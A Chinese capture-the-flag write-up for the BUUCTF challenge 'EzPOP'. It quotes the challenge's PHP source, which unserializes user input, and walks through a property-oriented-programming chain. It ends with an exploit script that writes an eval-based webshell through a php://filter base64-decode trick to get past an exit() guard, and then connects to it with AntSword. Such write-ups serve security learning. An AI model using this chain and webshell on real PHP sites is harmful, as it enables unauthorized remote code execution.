题目
链接:https://buuoj.cn/challenges#[EIS%202019]EzPOP
解答
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
代码审计题哈哈哈哈,迎难而上 1、可以先分析两个类中函数的作用,这里先从要点入手,B类中有一个file_put_contents函数,可以考虑向文件中写入shell,但是类B中没有调用set函数的魔术方法,正好A类中save函数调用了set函数,而A类中的_destruct调用了save函数 整体思路就有了:A对象的序列化字符串——>unserialize——>调用_unserialize——>调用save——>调用set
$a = new A();
2、下面就是逐步分析这些函数 A中_destruct函数,$this->autosave需要为false,执行$this->save(),$this->store需要调用set,就必须是B类的实例化对象,暂时可以得到
$a->autosave = false;
$b = new B()
$a->store = $b;
3、由于不清楚set中需要什么参数,我们先分析set函数,正面不好入手,从结果倒退 先看filename,主要是这条语句:$filename = $this->getCacheKey($name);$name是传过来的参数,而getCacheKey的作用是$this->options[‘prefix’]和$name拼接,再回到A类中看$name的来源,其实就是A中的$this->key,故可以得到:
$b->options['prefix'] = shell;
$a->key = '.php';
4、再来看data,从下往上看:$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; 这是一个拼接,继续往上找需要拼接的两个参数
if ($this->options['data_compress'] && function_exists('gzcompress')) {
$data = gzcompress($data, 3);
}
不存在gzcompress,故不会压缩,当然也可以把$this->options[‘data_compress’]设为false
$data = $this->serialize($value);
调用了这个函数,分析
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
$this->options[‘serialize’]可控,可以传递一个函数名,然后对data进行操作,而data是set函数value传值过来的,在A中传过来的是$contents,而调用了$this->getForStorage得到了$contents
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
$this->complete可控,$cleaned可以让它为空
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
array_intersect_key表示取两个数组交集,由于$this->cache可控,故可以构造此函数结果返回为控,故
b->options['data_compress'] = false;
a->cache = array();
b->complete传入shell
这里还有一个参数:$expire
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
把传来的值和赋值的值都设为空即可 5、再来看拼接$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; 拼接了exit提前退出,导致webshell不会执行,需要绕过
6、编写脚本
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "trim",
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/b");
$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = 'aaa'.base64_encode('<?php @eval($_POST["b"]);?>');
echo urlencode(serialize($a));
7、蚁剑连接 拿到flag
过程有点乱,可以参考下面这篇文章:https://www.redhatzone.com/ask/article/1521.html
|